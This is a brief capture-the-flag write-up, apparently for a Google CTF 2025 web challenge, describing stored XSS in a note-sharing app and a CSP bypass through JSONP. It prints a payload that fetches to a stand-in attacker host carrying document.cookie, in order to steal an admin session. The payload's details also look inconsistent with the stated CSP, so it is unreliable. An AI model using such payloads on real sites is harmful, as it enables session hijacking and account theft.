🚩 Challenge Overview
- Platform/Event: Google CTF 2025
- Difficulty: Medium
- Points: 238
- Solves: 67
- Category: Web
- Tags: Stored XSS, CSP Bypass, JSONP, Cookie Theft
📝 Description
Stored XSS in a note-sharing app with CSP bypass via JSONP endpoint. Admin bot visits shared notes — steal admin cookie via a JSONP callback to an actor-controlled server.
💡 Solution / Approach
-
Note content is reflected into the DOM without sanitization.
-
CSP:
script-src 'self' *.googleapis.com— JSONP via googleapis.com allowed. -
Payload:
<script src="https://accounts.google.com/o/oauth2/revoke?token=fetch('https://attacker.com/?c='+document.cookie)"></script> -
Submit note URL to admin bot → receive admin session cookie.